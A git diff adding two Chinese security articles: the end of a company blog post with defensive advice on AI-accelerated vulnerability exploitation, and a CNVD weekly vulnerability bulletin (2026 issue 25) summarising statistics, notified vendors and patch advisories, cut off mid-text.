全域收敛攻击面，从源头降低被AI扫描命中概率 + +AI攻击的核心是批量扫描、批量命中，企业只需大幅缩减外网暴露资产：关闭所有非必要外网端口、删除闲置域名、下线废弃服务器、关闭多余系统服务，最小化外网攻击面。攻击面越小，AI批量扫描的命中概率越低，从源头规避绝大多数自动化攻击。 +### ✅ 3. 开展AI适配型漏洞专项巡检 + +区别于传统漏洞扫描，重点排查**易被AI武器化的高危漏洞、老旧存量漏洞、开源组件漏洞** +，针对性修复可被AI快速复现、批量利用的风险点，补齐传统扫描遗漏的隐性风险。 +### ✅ 4. 建立漏洞情报同步机制 + +实时跟进国家漏洞库、权威安全机构每日高危预警，重点关注「AI可自主利用」「在野批量扩散」标签漏洞，第一时间获取攻防情报，提前预判风险，避免被动挨打。 +### ✅ 5. 强化备份与应急兜底 + +即便做到极致防御，仍需预留兜底方案。严格执行3-2-1数据备份原则，保留一份离线隔离备份，抵御AI漏洞入侵后的勒索加密攻击，确保业务可快速恢复，将损失降到最低。 + + +**漏洞攻防，正式进入“速度决胜”时代** + +![](https://mmbiz.qpic.cn/mmbiz_png/oWag3KdTBd6yfofd4T1vBDD8QDGYv1BzYhU1526ibgOrMzhQA4yDoha6cZQ65RwqygE6zuTO0jrBicnAURsr8o1lhOJ4DBoS72YiaQ96ATQHZ4/640?from=appmsg "") + +## + +AI漏洞武器化突破，给所有企业敲响了终极警钟：**网络安全不再是“查漏补缺”的慢工作，而是“分秒必争”的快对抗。** + +过去，企业漏洞修复慢一点、滞后一点，或许不会出事；但在AI工业化攻击时代，**窗口期就是安全期，滞后就是沦陷** +。人工防御的速度，永远跑不过AI攻击的迭代速度，唯有改变防御思维、升级响应机制，才能在极速攻防变局中守住企业安全底线。 + + +免责声明： +因传播、利用本公众号“河北镌远网络科技有限公司”所提供信息而产生的任何直接或间接后果及损失，均由使用者本人自行承担，本公众号及作者不承担任何责任。 +本公众号所发表内容中，凡注明来源的，版权归原出处所有；无法查证版权或未注明出处的，均来自网络并系转载，转载旨在传递更多信息，版权归原作者所有。若存在侵权情况，请联系小编，我们将第一时间删除处理。 + + diff --git a/doc/2026-06/CNVD漏洞周报2026年第25期.md b/doc/2026-06/CNVD漏洞周报2026年第25期.md new file mode 100644 index 00000000..cb6e7b15 --- /dev/null +++ b/doc/2026-06/CNVD漏洞周报2026年第25期.md @@ -0,0 +1,1144 @@ +# CNVD漏洞周报2026年第25期 + 国家互联网应急中心CNCERT 2026-06-30 02:24 + +2 +0 +26年 +06月22日 +- +2 +0 +26 +年06月28日 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/pMINP9OQkbgJr2icsSWMt7iczrs9mBzqwA3aldfx2etwNRAwnXic5IJJBJv5SSbmmh9kZOvkL8ahR8kENATauAVhQ/640?wx_fmt=jpeg "") + +**本周漏洞态势研判情况** + + +本周信息安全漏洞威胁整体评价级别为 +中。 + +国家信息安全漏洞共享平台（以下简称CNVD）本周共收集、整理信息安全漏洞532个，其中高危漏洞337个、中危漏洞166个、低危漏洞29个。漏洞平均分值为6.85。本周收录的漏洞中，涉及0day漏洞464个（占87%），其中互联网上出现“Textpattern CMS文件上传漏洞、CouchCMS跨站脚本漏洞“等零日代码攻击漏洞。本周CNVD接到的涉及党政机关和企事业单位的事件型漏洞总数3543个，与上周（3367个）环比增加5%。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icKh5AajZVGBEZm5bebXpEDNUsCrKUxT2LOU74T2eeAWGqX3Wkq32coegsyY9puNVCg9emhM9HJVgk94RxeRlIPIRErD5vABQffoTTt6aNjg/640?wx_fmt=png&from=appmsg "") + +‍ +图 +1 + +C +N +V +D +收 +录 +漏 +洞 +近 +1 +0 +周 +平 +均 +分 +值 +分 +布 +图 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icKh5AajZVGD0T3IVvibgZdCLqiczWYZ6EOAwqCu54gJfHicRLbGtStpXiaaJbZ5tAcn34bQZmKWOL9d69qT4iaJbuN8HgMLicMjAZRy9yTIg1U2qg/640?wx_fmt=png&from=appmsg "") + +图 +2 + +C +N +V +D  +0 +d +a +y +漏 +洞 +总 +数 +按 +周 +统 +计 + + +**本周漏洞事件处置情况** + +  + +本周， +CNVD向银行、保险、能源等重要行业单位通报漏洞事件3起，向基础电信企业通报漏洞事件5起，协调CNCERT各分中心验证和处置涉及地方重要部门漏洞事件820起，协调教育行业应急组织验证和处置高校科研院所系统漏洞事件26起，向国家上级信息安全协调机构上报涉及部委门户、子站或直属单位信息系统漏洞事件64起。 + +![](https://mmbiz.qpic.cn/mmbiz_png/icKh5AajZVGDgk9RjvdDibyUjfecONuDbLQ6ocHNmBVe9yF9iaaNJObq70O9TMo9iayIgQ6SUR7Z580VDZL7XmjIA2BZvtTvy2NTOW65ag9iaYAM/640?wx_fmt=png&from=appmsg "") + +图 +3 + +C +N +V +D +各 +行 +业 +漏 +洞 +处 +置 +情 +况 +按 +周 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/icKh5AajZVGDZ4Gy2MVljmia8LFxOT7OzXB4gWGAZ09fEzibUe3icsjNpj3vHcorJL9lfUScMsLibkibdA48XmhwDCTerhejRFeSG8e9SWceiaxicMo/640?wx_fmt=png&from=appmsg "") + +图 +4 + +C +N +C +E +R +T +各 +分 +中 +心 +处 +置 +情 +况 +按 +周 +统 +计 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icKh5AajZVGDsO8gxKQBQe3icqdeDhWfJMrajezgEk8VGNSoIy5zsUwPx7XHzFwBFN9TcKQNJLXaeW6hlgwmpjaVjz1fwLty6GCJnfYOCkFBY/640?wx_fmt=png&from=appmsg "") + +图 +5 + +C +N +V +D +教 +育 +行 +业 +应 +急 +组 +织 +处 +置 +情 +况 +按 +周 +统 +计 + +此 +外 +， +C +N +V +D +通 +过 +已 +建 +立 +的 +联 +系 +机 +制 +或 +涉 +事 +单 +位 +公 +开 +联 +系 +渠 +道 +向 +以 +下 +单 +位 +通 +报 +了 +其 +信 +息 +系 +统 +或 +软 +硬 +件 +产 +品 +存 +在 +的 +漏 +洞 +， +具 +体 +处 +置 +单 +位 +情 +况 +如 +下 +所 +示 +： + +联想集团、南京科远智慧科技集团股份有限公司、杭州飞致云信息科技有限公司、深圳市吉祥腾达科技有限公司、新道科技股份有限公司、友讯电子设备（上海）有限公司、浙江宇视科技有限公司、北京金和网络股份有限公司、大连华天软件有限公司、北京国炬信息技术有限公司、阿里云计算有限公司、京东科技信息技术有限公司、北京宏景世纪软件股份有限公司、柯尼卡美能达集团、上海百胜软件股份有限公司、瑞斯康达科技发展股份有限公司、迈普通信技术股份有限公司、普联技术有限公司、深圳市思迅软件股份有限公司、新华三技术有限公司、北京长京益康信息科技有限公司、北京亿赛通科技发展有限责任公司、北京神州视翰科技有限公司、深圳市锐明技术股份有限公司、安科瑞电气股份有限公司、北京友数聚科技有限公司、浙江大华技术股份有限公司、厦门四信通信科技有限公司、北京硕人时代科技股份有限公司、众勤通信设备贸易（上海）有限公司、广州华壹智能科技有限公司、杭州赛脑智能科技股份有限公司、力合科技（湖南）股份有限公司、深圳市明源云科技有限公司、北京信安世纪科技有限公司、金蝶软件（中国）有限公司、百度安全应急响应中心、腾讯安全应急响应中心、北京百容千域软件技术开发有限责任公司、北京神州绿盟科技有限公司、上海卓卓网络科技有限公司、广州图创计算机软件开发有限公司、杭州迪普科技股份有限公司、正方软件股份有限公司、万洲电气股份有限公司、用友网络科技股份有限公司、深圳市美科星通信技术有限公司、北京北大方正电子有限公司、上海喜马拉雅科技有限公司、上海必智科技有限公司、上海灵当信息科技有限公司、北京神州数码云科信息技术有限公司、南昌蓝智科技有限公司、北京致远互联软件股份有限公司、苏州市伏泰信息科技股份有限公司、北京云迹科技股份有限公司、山东比特智能科技股份有限公司、京瓷（中国）商贸有限公司、天津环球磁卡集团有限公司、世邦通信股份有限公司、乐金电子（中国）有限公司、青岛飞猫科技有限公司、合肥金星智控科技股份有限公司、广东保伦电子股份有限公司、广州易达建信科技开发有限公司、杭州云天软件股份有限公司、襄阳智博珞格网络科技有限公司、上海正品贵德软件有限公司、上海肯耐珂萨人力资源科技股份有限公司、北京启明星辰信息安全技术有限公司、中兴通讯股份有限公司、天地伟业技术有限公司、成都飞鱼星科技股份有限公司、广州恒企教育科技有限公司、厦门闪酷科技开发有限公司、深圳市中合智能有限公司、河北赢图网络科技有限公司、深圳市月歌科技有限公司、中山市华拓信息技术有限公司、深圳市多酷科技有限公司、郑州卡卡罗特软件科技有限公司、深圳市合信自动化技术有限公司、贵州小码科技有限公司、畅捷通信息技术股份有限公司、江西铭软科技有限公司、北京圣博润高新技术股份有限公司、杭州阿里巴巴海外信息技术有限公司、北京百度网讯科技有限公司、湖南翱云网络科技有限公司、上海商派网络科技有限公司、海南赞赞网络科技有限公司、泛微网络科技股份有限公司、长沙米拓信息技术有限公司、网是科技股份有限公司、北京创易时代科技有限公司、浙江智臾科技有限公司、青岛三利中德美水设备有限公司、天津神州浩天科技有限公司、深圳市共济科技股份有限公司、宁波市科技园区明天医网科技有限公司、蚂蚁云创数字科技（北京）有限公司、广东德生科技股份有限公司、上海孚盟软件有限公司、杭州新中大科技股份有限公司、杭州九麒科技有限公司、阿里巴巴集团安全应急响应中心、北京小米科技有限责任公司、北京星网锐捷网络技术有限公司、成都任我行软件股份有限公司、广东南方数码科技有限公司、广州同鑫科技有限公司、熵基科技股份有限公司、上海泛微网络科技股份有限公司、上海汉得信息技术股份有限公司、深圳市鼎游信息技术有限公司、深圳市捷顺科技实业股份有限公司、曙光信息产业股份有限公司、中科方德软件有限公司、北京数科网维技术有限责任公司、睿因科技（深圳）有限公司、西安九佳易信息资讯有限公司、深圳市罡扇广联电子科技有限公司、北京三维天地科技股份有限公司、京源中科科技股份有限公司、上海艾泰科技有限公司、苏州汇川技术有限公司、江苏群杰科技有限公司、杭州吉拉科技有限公司、陕西银河电力自动化股份有限公司、同望科技股份有限公司、云南链滴科技有限公司、上海秒优供应链管理有限公司、捷能热力电站有限公司、湖南医沃信息技术有限公司、NexIoT Alliance、北京魔方恒久软件有限公司、江苏金智教育信息股份有限公司、新开普电子股份有限公司、智业软件股份有限公司、青岛东胜伟业软件科技有限公司、贵州智云信通科技有限公司、北京超图软件股份有限公司、帝国软件、厦门熵基科技有限公司、西安众邦网络科技有限公司、启明星辰信息技术集团股份有限公司、湖南中谷科技股份有限公司、福建科立讯通信有限公司、北京极益科技有限公司、惠普贸易（上海）有限公司、携程旅行网、福州银达云创信息科技有限公司、深圳市同享软件科技有限公司、珠海金山办公软件有限公司、蓝鸽集团有限公司、富士胶片商业创新（中国）有限公司、研华科技（中国）有限公司、奇安信网神信息技术（北京）股份有限公司、山石網絡（香港）有限公司、杭州中宝科技有限公司、四川迅睿云软件开发有限公司、杭州立方控股股份有限公司、厦门星纵数字科技有限公司、安徽旭帆信息科技有限公司、杭州三一谦成科技有限公司、上海纵之格科技有限公司、中控技术股份有限公司、统信软件技术有限公司、麒麟软件有限公司、成都睿思商智科技有限公司、深圳市盛世众唐科技有限公司、本源量子计算科技（合肥）股份有限公司、蓝卓数字科技有限公司、广州好象科技有限公司、微脉技术有限公司、金叶仪器（山东）有限公司、淮安通易网络传媒有限公司、上海九列信息科技有限公司、众至信息股份有限公司、天维尔信息科技股份有限公司、戴尔(中国)有限公司、广东九安智能科技股份有限公司、佳能（中国）有限公司、杭州圆图网络技术有限公司、合肥贰道网络科技有限公司、北京奥星贝斯科技有限公司、广州网易计算机系统有限公司、华为技术有限公司、杰伟世建伍（中国）投资有限公司、珠海盈致科技有限公司、安元科技股份有限公司、廊坊市极致网络科技有限公司、上海易正信息技术有限公司、深圳极速创想科技有限公司、西安旌旗电子股份有限公司、阿里巴巴达摩院、济南驰骋信息技术有限公司、北京一秒互联科技有限公司、安徽容知日新科技股份有限公司、北京中科江南信息技术股份有限公司、深圳市广联智通科技有限公司、山东博硕自动化技术有限公司、北京万户软件技术有限公司、上海寰创通信科技股份有限公司、神州数码、深圳市四海众联网络科技有限公司、开放原子开源基金会、warlee1010、永中软件股份有限公司、上海华测导航技术股份有限公司、青岛东胜伟业软件有限公司、杭州贝腾科技有限公司、上海爱数信息技术股份有限公司、苏州科达科技股份有限公司、深圳市蓝凌软件股份有限公司、中兴通讯、青岛鼎信通讯股份有限公司、深圳市梦网科技发展有限公司、四川科道芯国智能技术股份有限公司、上海艾乐影像材料有限公司、熊猫智慧水务有限公司、大连网龙网络科技有限公司、成都索贝数码科技股份有限公司、上海熊猫机械（集团）有限公司、上海三高计算机中心股份有限公司、山石网科通信技术（北京）有限公司、福建星网锐捷通讯股份有限公司、望海康信（北京）科技股份公司、山东数据交易有限公司、重庆开源共创科技有限公司、开源、浪潮集团有限公司、支付宝支付科技有限公司、北京火山引擎科技有限公司、成都长益西联软件有限公司、北京易维云数据科技有限公司、广州佰仲企业管理顾问有限公司、上海京颐科技股份有限公司、北京知识堂科技有限责任公司、赛维斯智慧环境科技（山东）有限公司、通州区华丽软件工作室、北京创联教育投资有限公司、鲸弘医疗科技集团有限公司、上海鲸弘医疗科技集团有限公司、友虹（北京）科技有限公司、北京润乾信息系统技术有限公司、深圳市麦斯杰网络有限公司、云南五和大成电子科技有限公司、深圳市东进技术股份有限公司、北京引力弹弓科技有限公司、网经科技（苏州）有限公司、立得空间信息技术股份有限公司、宁波博太科智能科技有限公司、赛尔网络有限公司、武汉乐吾乐科技有限责任公司、杭州安恒信息技术股份有限公司 +。 + + +**本周漏洞报送情况统计** + +  + +本 +周 +报 +送 +情 +况 +如 +表 +1 +所 +示 +。 +其 +中 +， +华为技术有限公司、南京众智维信息科技有限公司、深信服科技股份有限公司、北京神州绿盟科技有限公司、新华三技术有限公司等单位报送公开收集的漏洞数量较多。北京神州绿盟科技有限公司、北京天融信网络安全技术有限公司、快页信息技术有限公司、北京启明星辰信息安全技术有限公司、亚信科技（成都）有限公司、北京长亭科技有限公司、成都卫士通信息安全技术有限公司、成都久信信息技术股份有限公司、北京升鑫网络科技有限公司（青藤云安全）、360漏洞研究院、联想（北京）有限公司（全球安全实验室）、北京安信天行科技有限公司、河南东方云盾信息技术有限公司、中国银联股份有限公司、国家电投集团数字科技有限公司、江苏金盾检测技术股份有限公司、中国工程物理研究院计算机应用研究所、山东港口科技集团烟台有限公司、湖南泛联新安信息科技有限公司、吉林省吉林祥云信息技术有限公司、北京银河新星网络空间技术有限公司、北京山石网科信息技术有限公司、中国中煤能源集团有限公司、江苏讯安信息安全技术有限公司、杭州安恒信息技术股份有限公司、国网浙江省电力有限公司电力科学研究院、北京卓识网安技术股份有限公司、宝鸡市阳光网络技术有限公司、中资网络信息安全科技有限公司、中国银行、中国烟草总公司湖北省公司、张家港市浩鲸智慧科技有限公司、远江盛邦（北京）网络安全科技股份有限公司、武汉科智迅安信息技术有限公司、顺丰科技有限公司、深圳市腾讯计算机系统有限公司（玄武实验室）、深圳市和讯华谷信息技术有限公司、深圳昂楷科技有限公司、陕西青山四纪信息技术有限公司、山西护网信息科技有限公司、平安银河实验室、南京正德信息科技有限公司、交通运输部海事局、江苏力可信网络科技有限公司、江苏君立华域信息安全技术股份有限公司、合肥锐盾网络科技有限公司、海光信息技术股份有限公司-海光信息安全团队、广州翊柯信息技术有限公司、北京城市网邻信息技术有限公司、中国科学院计算机网络信息中心及其他个人白帽子向CNVD提交了3543个以事件型漏洞为主的原创漏洞，其中包括上海交大、三六零数字安全科技集团有限公司和奇安信网神（补天平台）向CNVD共享的白帽子报送的2411条原创漏洞信息 +。 + +表 +1 + +漏 +洞 +报 +送 +情 +况 +统 +计 +表 + +![](https://mmbiz.qpic.cn/mmbiz_png/icKh5AajZVGA3G6qSJEnBoVcsz1cmWR9lDmkHxGibqibiadDhSkicsSSe80rJVqibyia6I98RdeVI99Zwj0kbMjwxmzjwtwtEqg3FFbvSbUR3ICR4s/640?wx_fmt=png&from=appmsg "") + +**本周漏洞按类型和厂商统计** + +本周，CNVD收录了 +532个漏洞。WEB应用322个、应用程序112个、网络设备（交换机、路由器等网络端设备）61个、操作系统18个、工业控制系统6个、安全产品6个、数据库5个、智能设备（物联网终端设备）2个 +。 + +表 +2 + +漏 +洞 +按 +影 +响 +类 +型 +统 +计 +表 + +![](https://mmbiz.qpic.cn/mmbiz_png/icKh5AajZVGD0icmLbdf2eCfd4AAhl0s74h8bHPZpMNibl2qLCLPuOGRzRWoU6OgXuaww4IE0u7Kiaek8U8zdOmfMl5AxVjeooOHZy1RxjFArds/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icKh5AajZVGC9IEiaAWianlep3ZUJlHK2ktPrZD1SlC9SKSGxdOT3GIic7Po8UZIeartTzx2AibUbgKFicDb15rNSJsvj6dSJxSRfInia0YQB4kS80/640?wx_fmt=png&from=appmsg "") + +图 +6 + +本 +周 +漏 +洞 +按 +影 +响 +类 +型 +分 +布 + +CNVD整理和发布的漏洞涉及 +Adobe、WordPress、Google +等多家厂商的产品 +，部分漏洞数量按厂商统计如表3所示。 + +表 +3 + +漏 +洞 +产 +品 +涉 +及 +厂 +商 +分 +布 +统 +计 +表 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icKh5AajZVGAfBbPjpsPE1h4rkNUrNMVxfREDujKzryHLlCq2Fw3ZjgRJRXNgiaJROA5ahGsqLHRYQMBXAaT63qtzW3Gvib9laAe9fZOy1lmicQ/640?wx_fmt=png&from=appmsg "") + +**本周行业漏洞收录情况** + + +本 +周 +， +CNVD收录了 +30个电信行业漏洞，3个移动互联网行业漏洞，5个工控行业漏洞（如下图所示）。其中，“Zyxel DX3300-T0操作系统命令注入漏洞、Zyxel DX3301-T0资源管理错误漏洞 +”等漏洞的综合评级为“高危”。相关厂商已经发布了漏洞的修补程序，请参照CNVD相关行业漏洞库链接。 + +电 +信 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +t +e +l +e +c +o +m +. +c +n +v +d +. +o +r +g +. +c +n +/ + +移 +动 +互 +联 +网 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +m +i +. +c +n +v +d +. +o +r +g +. +c +n +/ + +工 +控 +系 +统 +行 +业 +漏 +洞 +链 +接 +： +h +t +t +p +: +/ +/ +i +c +s +. +c +n +v +d +. +o +r +g +. +c +n +/ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icKh5AajZVGDCDs6VxX59NPnFpCibofsbxfibuGtLysdMOBJ6L2yRPjgeHg55bYT8jM4SFGaibiaKsahNdvic7nKGAcl31u3FRibtcpibhHC6K0Fycc/640?wx_fmt=png&from=appmsg "") + +图 +7 + +电 +信 +行 +业 +漏 +洞 +统 +计 + +![](https://mmbiz.qpic.cn/mmbiz_png/icKh5AajZVGD3cTiaOFpy1GAruIGEN4LMIOmc7NSuoF3YtzoGwd9pk3M2PAYhuuOFDW7rjam11lloZicFbdkrKiafVibjkibezCVPTnQ0CgYCFTVg/640?wx_fmt=png&from=appmsg "") + +图 +8 + +移 +动 +互 +联 +网 +行 +业 +漏 +洞 +统 +计 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icKh5AajZVGB0jQKxmpsfDsgAdS1IXzXlLv4X3Y9fibSdZ2m6OnxjToZktspRbRabNvUfZrKFzM7vogsXYTBib0dRXiaznNMepSE1zXic69vbwQU/640?wx_fmt=png&from=appmsg "") + +图 +9 + +工 +控 +系 +统 +行 +业 +漏 +洞 +统 +计 + +  + +**本周重要漏洞安全告警** + + +本 +周 +， +C +N +V +D +整 +理 +和 +发 +布 +以 +下 +重 +要 +安 +全 +漏 +洞 +信 +息 +。 +**** + +1、Microsoft产品安全漏洞 + +Microsoft Office是美国微软（Microsoft）公司的一款办公软件套件产品。该产品常用组件包括Word、Excel、Access、Powerpoint、FrontPage等。Microsoft Excel是美国微软（Microsoft）公司的一款Office套件中的电子表格处理软件。Microsoft Hyper-V是美国微软（Microsoft）公司的一个应用程序。一种系统管理程序虚拟化技术，能够实现桌面虚拟化。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞在系统上执行任意代码，获取敏感信息等。 + +CNVD收录的相关漏洞包括：Microsoft Office代码执行漏洞（CNVD-2026-24912）、Microsoft Excel代码执行漏洞（CNVD-2026-24913、CNVD-2026-24915、CNVD-2026-24916）、Microsoft Excel信息泄露漏洞（CNVD-2026-24914、CNVD-2026-24917）、Microsoft Hyper-V代码执行漏洞（CNVD-2026-24918、CNVD-2026-24919）。除“Microsoft Excel代码执行漏洞（CNVD-2026-24916）、Microsoft Excel信息泄露漏洞（CNVD-2026-24917）”外，上述漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24912 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24913 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24914 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24915 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24916 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24917 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24918 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24919 + +2、Google产品安全漏洞 + +Google Chrome是一款由Google开发的跨平台网页浏览器，主要提供网页浏览、扩展支持和多标签管理等功能。Google Chrome Video是一个处理视频解码和渲染的组件，主要用于支持Chrome浏览器在ChromeOS上的视频播放功能。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞通过精心构造的HTML页面触发堆破坏，通过精心构造的HTML页面实现沙箱逃逸，在破坏渲染器进程后通过特制HTML页面从进程内存中获取敏感信息等。 + +CNVD收录的相关漏洞包括：Google Chrome Views组件资源管理错误漏洞（CNVD-2026-25115）Google Chrome GPU资源管理错误漏洞（CNVD-2026-25117）Google Chrome VideoCapture越界读取漏洞（CNVD-2026-25116）Google Chrome Codecs堆缓冲区溢出漏洞（CNVD-2026-25119）Google Chrome Video组件缓冲区溢出漏洞（CNVD-2026-25118）Google Chrome资源管理错误漏洞（CNVD-2026-25122）Google Chrome输入验证错误漏洞（CNVD-2026-25121、CNVD-2026-25124）。除“Google Chrome VideoCapture越界读取漏洞（CNVD-2026-25116）、Google Chrome资源管理错误漏洞（CNVD-2026-25122）”外，上述漏洞的综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25115 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25117 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25116 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25119 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25118 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25122 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25121 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25124 + +3、Cisco产品安全漏洞 + +Cisco Webex Meetings是一款提供在线会议、视频会议及协作功能的Web应用产品。Cisco Enterprise Chat and Email是一款企业级聊天与电子邮件通信平台，主要提供实时聊天、电子邮件管理和客户互动功能。Cisco Catalyst SD-WAN Manager（Cisco SD-WAN vManage）是美国思科（Cisco）公司的一个高度可定制的仪表板。可简化和自动化 Cisco SD-WAN 的部署、配置、管理和操作。Cisco ThousandEyes Enterprise Agent是一个企业网络监控工具，主要用于监测网络性能和应用体验。Cisco Secure Workload是美国思科（Cisco）公司的一种允许用户在其应用程序工作负载上安装软件代理的软件。Cisco Integrated Management Controller（IMC）是美国思科（Cisco）公司的一套用于对UCS（统一计算系统）进行管理的软件。该软件支持HTTP、SSH访问等，并可对服务器进行开机、关机和重启等操作。Cisco IoT Field Network Director (IoT-FND)是一个用于管理Cisco IoT网络的集中式管理平台，主要提供设备配置、监控、固件升级及故障排除等功能。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞诱使用户点击恶意链接，在目标用户浏览器中执行任意脚本代码或访问基于浏览器的敏感信息，读取受影响系统中存储的任意文件，进行命令注入攻击并执行任意命令等。 + +CNVD收录的相关漏洞包括：Cisco Webex Meetings跨站脚本漏洞（CNVD-2026-25125）、Cisco Enterprise Chat and Email跨站脚本漏洞、Cisco Catalyst SD-WAN Manager XML外部实体注入漏洞、Cisco ThousandEyes Enterprise Agent BrowserBot组件命令注入漏洞、Cisco Secure Workload访问控制错误漏洞、Cisco Integrated Management Controller命令注入漏洞、Cisco IoT Field Network Director路径遍历漏洞、Cisco IoT Field Network Director命令注入漏洞。其中，“Cisco Catalyst SD-WAN Manager XML外部实体注入漏洞、Cisco Secure Workload访问控制错误漏洞、Cisco Integrated Management Controller命令注入漏洞”的漏洞综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25125 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25129 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25128 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25127 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25126 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25132 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25131 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25130 + +4、Adob +e +产品安全漏洞 + +Adobe Substance3D Sampler是美国奥多比（Adobe）公司的一款渲染3D场景软件。Adobe Experience Manager是美国奥多比（Adobe）公司的一套可用于构建网站、移动应用程序和表单的内容管理解决方案。该方案支持移动内容管理、营销销售活动管理和多站点管理等。本周，上述产品被披露存在多个漏洞，攻击者可利用漏洞导致在当前用户环境中执行任意代码，窃取受害者基于cookie的身份验证凭据等。 + +CNVD收录的相关漏洞包括：Adobe Substance3D Sampler越界写入漏洞（CNVD-2026-24899、CNVD-2026-24901）、Adobe Experience Manager跨站脚本漏洞（CNVD-2026-24900、CNVD-2026-24902、CNVD-2026-24903、CNVD-2026-24904、CNVD-2026-24905、CNVD-2026-24906）。其中，“Adobe Substance3D Sampler越界写入漏洞（CNVD-2026-24899、CNVD-2026-24901）”的漏洞综合评级为“高危”。目前，厂商已经发布了上述漏洞的修补程序。CNVD提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24899 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24900 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24901 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24902 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24903 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24904 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24905 + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-24906 + +5、Textpattern CMS文件上传漏洞 + +Textpattern CMS是一个基于Php的内容管理系统。本周，Textpattern CMS 4.8.7版本被披露存在文件上传漏洞。该漏洞源于文件上传功能未对用户上传文件进行严格校验或过滤不严。攻击者可利用该漏洞通过上传恶意PHP文件执行任意命令。目前，厂商尚未发布上述漏洞的修补程序。CNVD提醒广大用户随时关注厂商主页，以获取最新版本。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25134 + + +小 +结 +： +本 +周 +，Microsoft产品被披露存在多个漏洞，攻击者可利用漏洞在系统上执行任意代码，获取敏感信息等。此外，Google、Cisco、Adobe等多款产品被披露存在多个漏洞，攻击者可利用漏洞通过精心构造的HTML页面触发堆破坏，通过精心构造的HTML页面实现沙箱逃逸，在破坏渲染器进程后通过特制HTML页面从进程内存中获取敏感信息，诱使用户点击恶意链接，在目标用户浏览器中执行任意脚本代码或访问基于浏览器的敏感信息，读取受影响系统中存储的任意文件，进行命令注入攻击并执行任意命令，导致在当前用户环境中执行任意代码，窃取受害者基于cookie的身份验证凭据等。另外，Textpattern CMS 4.8.7版本被披露存在文件上传漏洞。攻击者可利用漏洞通过上传恶意PHP文件执行任意命令。建议相关用户随时关注上述厂商主页，及时获取修复补丁或解决方案。 + +**本周重要漏洞攻击验证情况** +  + +本 +周 +， +C +N +V +D +建 +议 +注 +意 +防 +范 +以 +下 +已 +公 +开 +漏 +洞 +攻 +击 +验 +证 +情 +况 +。 + +**1、CouchCMS跨站脚本漏洞** +**** + +**验证描述** + +CouchCMS是CouchCMS开源的一套面向设计人员的开源内容管理系统（CMS）。 + +CouchCMS 2.2.1版本存在跨站脚本漏洞。该漏洞源于应用对用户提供的数据缺乏有效过滤与转义，攻击者可利用该漏洞通过注入精心设计的有效载荷执行任意Web脚本或HTML。 + +**验证信息** + +P +O +C +链 +接 +：https://www.exploit-db.com/exploits/49636 +参 +考 +链 +接 +： + +https://www.cnvd.org.cn/flaw/show/CNVD-2026-25133 + +信 +息 +提 +供 +者 + +新华三技术有限公司 + +注：以上验证信息(方法)可能带有攻击性，仅供安全研究之用。请广大用户加强对漏洞的防范工作，尽快下载相关补丁。 + + +**关于CNVD** + +国 +家 +信 +息 +安 +全 +漏 +洞 +共 +享 +平 +台 +（ +C +h +i +n +a + +N +a +t +i +o +n +a +l + +V +u +l +n +e +r +a +b +i +l +i +t +y + +D +a +t +a +b +a +s +e +， +简 +称 +C +N +V +D +） +是 +由 +C +N +C +E +R +T +联 +合 +国 +内 +重 +要 +信 +息 +系 +统 +单 +位 +、 +基 +础 +电 +信 +运 +营 +商 +、 +网 +络 +安 +全 +厂 +商 +、 +软 +件 +厂 +商 +和 +互 +联 +网 